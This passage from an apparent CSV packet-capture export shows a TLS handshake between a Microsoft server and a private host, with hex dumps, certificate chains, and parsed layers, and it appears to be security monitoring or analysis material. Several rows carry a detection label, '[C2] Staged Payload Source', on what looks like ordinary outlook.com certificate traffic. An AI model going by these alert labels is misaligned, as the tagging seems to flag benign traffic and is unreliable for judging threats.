type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:47.222678,56,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=763870667 Ack=3321035961,bc2411360d0cbc24112907bb0800450000288cc240004006a05384f5e6210a98980b01bbfa0a2d87bdcbc5f2fcb95010003f0dd50000,\".$.6\n..$.)....E..(..@.@..S...!\n......\n-.......P..?\n...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36034, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41043, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763870667, \"\"ack\"\": 3321035961, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3541, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:47.837092,57,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=763870667 Ack=3321035961,bc2411360d0cbc24112907bb0800450005e08cc3400040069a9a84f5e6210a98980b01bbfa0a2d87bdcbc5f2fcb95018003f138d000016030311070200006203036a2eb9374886aa5ad1ef77a26137e6c52c41510bc523c291444f574e4752440120a4210000bd90b86b8e4f92c9bf0af4c3a7cdb79bb9a58a0b172809fbb821604bc03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c535253415348413235363230323043,\".$.6\n..$.)....E.....@.@......!\n......\n-.......P..?............b..j..7H..Z..w.a7..,AQ..#..DOWNGRD. .!.....k.O...\n...........(\t..!`K.0........#.........h2...........\nM.\nJ..x0..t0..\\...........ef.A...i.[|s0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n260318000000Z.\n261002235959Z0j1.0\t..U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0\n.\t*.H..\n..........0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.\t.....a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y.\nCpe.R..........$..\t....|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com.\n*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com.\n*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com.\noffice365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020C\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1504, \"\"id\"\": 36035, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39578, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763870667, \"\"ack\"\": 3321035961, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 5005, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030311070200006203036a2eb9374886aa5ad1ef77a26137e6c52c41510bc523c291444f574e4752440120a4210000bd90b86b8e4f92c9bf0af4c3a7cdb79bb9a58a0b172809fbb821604bc03000001a000500000023000000100005000302683200170000ff010001000b000d4d000d4a000878308208743082075ca00302010202100590cbd365667f4104a9a2690c5b7c73300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3236303331383030303030305a170d3236313030323233353935395a306a310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311430120603550403130b6f75746c6f6f6b2e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100daf79983120e19dc01bd350592edf8cd3589ab8c67b62dd3bf787f4b0c67b94e1f8bd4557c05e1cf94703872b7659d9d6b760a6a69345ed1ce3eaced7f67a5dd8602ec55f3d3399c74fa02ec3a968dfee6e469755036a93bbc8cc638f1dab4b9302b893230a9b2388428609bd6f131ff09cae0ec1d93611bc7c9e2248f79b20c61fdee2ddf231f4d4fac401b2ab2d10ffed749e423ed16e7453b764cc559f40d43706510527fbfa6aa02cfe8dc87aa24cbe7098cccfaaf7c547a88917c16158bb7a9f761854521fa88bf9670202cd6ba70de3e167b85de6247353fc1a966b655f755d31dd9e40434f3979f4105f6de780b3200f77ed35ece89d60ec1183aa4bd0203010001a382052530820521301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604147645e5c3cb9cfefa5ffe2455e8bc60ddbeaa93e1308201bd0603551d11048201b4308201b0820b6f75746c6f6f6b2e636f6d820d2a2e686f746d61696c2e636f6d82162a2e696e7465726e616c2e6f75746c6f6f6b2e636f6d820a2a2e6c6976652e636f6d820c2a2e6f66666963652e636f6d820f2a2e6f66666963653336352e636f6d820d2a2e6f75746c6f6f6b2e636f6d82172a2e6f75746c6f6f6b2e6f66666963653336352e636f6d821b6174746163686d656e742e6f75746c6f6f6b2e6c6976652e6e6574821d6174746163686d656e742e6f75746c6f6f6b2e6f66666963652e6e657482206174746163686d656e742e6f75746c6f6f6b2e6f66666963657070652e6e657482166174746163686d656e74732e6f66666963652e6e6574821a6174746163686d656e74732d7364662e6f66666963652e6e6574821d6363732e6c6f67696e2e6d6963726f736f66746f6e6c696e652e636f6d820b686f746d61696c2e636f6d82166d61696c2e73657276696365732e6c6976652e636f6d820d6f66666963653336352e636f6d82126f75746c6f6f6b2e6f66666963652e636f6d82147375627374726174652e6f66666963652e636f6d82187375627374726174652d7364662e6f66666963652e636f6d303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff0404030205a030130603551d25040c300a06082b0601050507030130819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c535253415348413235363230323043\"\"}}]\"\n2026-06-14 14:22:47.837283,58,TCP 10.152.152.11:64010 -> 132.245.230.33:443,10.152.152.11,132.245.230.33,64010,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3321035961 Ack=763872131,bc24112907bbbc2411360d0c0800450000288f05400080065e100a98980b84f5e621fa0a01bbc5f2fcb92d87c38350100400ee9c0000,\".$.)...$.6\n...E..(..@...^.\n......!.\n......-...P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36613, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 24080, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"132.245.230.33\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64010, \"\"dport\"\": 443, \"\"seq\"\": 3321035961, \"\"ack\"\": 763872131, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 61084, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:47.844004,59,TCP 132.245.230.33:443 -> 10.152.152.11:64010,132.245.230.33,10.152.152.11,443,64010,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,132.245.230.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=763872131 Ack=3321035961,bc2411360d0cbc24112907bb080045000b7c8cc54000400694fc84f5e6210a98980b01bbfa0a2d87c383c5f2fcb95018003f1929000041312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861046cb2dc716d358c459560d5a7ac3f41d57075d4c05901abd7af5103786a75991ce4ac5dd4e9b986f7187349de971935beea29eea7b996c8ac5661a4a7c002acd61a7bcf1fd546e200f30a8011c9da36c7d370413bdd131c0c4f9e5e05363a7582080401007012462da3ac474dbf719e1a3f6f805ec2eb3e89dd66b46e573c661aaa5c8d74ea7274356d885d5d6cf39760118c3e3ad6d16333ce827636ecef5827fae126f55d58505e8b0d3a6e3609ed2cd1a6a7dc44672d753eba9de8131aac5089cf5f41442cd7a033938603aed3475901dc5cb68d95e3abeeb9347a4c7ef3a042d9ec919fb3fd4630ec3bbf42308f56085d246dde01ee86f542a88f5e7a60d852bcdf9dc96e57328deefb867c3813fe796c688ccc3183889c90f4532a9849deb55410b5487eff77cbfe5117c820436fa9fbc9418f2282f3fab1a9102801bbb6e77236609c877d5cd33dba27e8193498071f89fe71ebd7fbea5ce04965f1c005b37bdf490e000000,\"A1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u..\tU;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!..\n..r....z6.\t..K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`..\n0\n.\t*.H..\n...............-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R\tR_W........0\t.F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@...........0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260609071900Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260609070300Z....20260616060300Z0\n.\t*.H..\n..........v.0'.Y....:.5q..&+.pi.....5.-=.#.l.hZ....I....S6.\n#.T._.......Ll.DE....+m.|..7:..8.f(F.(.w.H..... Z]?.*|d.i.p.3...t&..}..dLS..R.......+t...\n....>.7..[..../>.Q.....~..Lh..O.+m.\n..O~2......xe.6....}..]).\"\"......4..G.P....V....\"\"...SQ..].M..._.\n..=O![...M\n .Y.l...i...a.l..qm5.E.`...?A.pu..Y....Q.xju....]......sI...5..)......Va.......{...F...\n....6..pA;....O.^.6:u.....p.F-..GM.q..?o.^..>..f.nW<f..\\.t.rt5m.]]l..`..>:..c3..v6..X'..&.]XP^.\n:n6\t.,....Dg-u>......P.._AD,..3.....GY..\\.......4zL~..B......F0.;.B0.V.]$m.....B..^z`.R....nW2....|8..ylh..1.....S*.I..T..H~.w..Q.. Co...A.\"\"......(....r6`..}\\.=.'..4.....q....\\.Ie....{.I....\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2940, \"\"id\"\": 36037, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38140, \"\"src\"\": \"\"132.245.230.33\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64010, \"\"seq\"\": 763872131, \"\"ack\"\": 3321035961, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 6441, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"41312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017d060a2b06010401d6790204020482016d048201690167007600c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd0000019d0227fa81000004030047304502206503d2b3b95c5a3afb9c236d63a49827a23cff959c02b28693fa4b0ba1ff79f3022100926107971c235c133aa4381f9f1943c10e6f9f065a008a1cdd69c24a3ae84e9e007500d809553b944f7affc816196f944f85abb0f8fc5e8755260f15d12e72bb454b140000019d0227fab60000040300463044022059fb3ceca64c8642f90336570c90b37788e061fd0e5056d8983896d89b8f1898022070907a4ed12544ece63de2a47b3c7e1bbc48cd7f17cb88713224fd1d05483333007600944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d80000019d0227fa8e0000040300473045022100bd0d16c172d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea216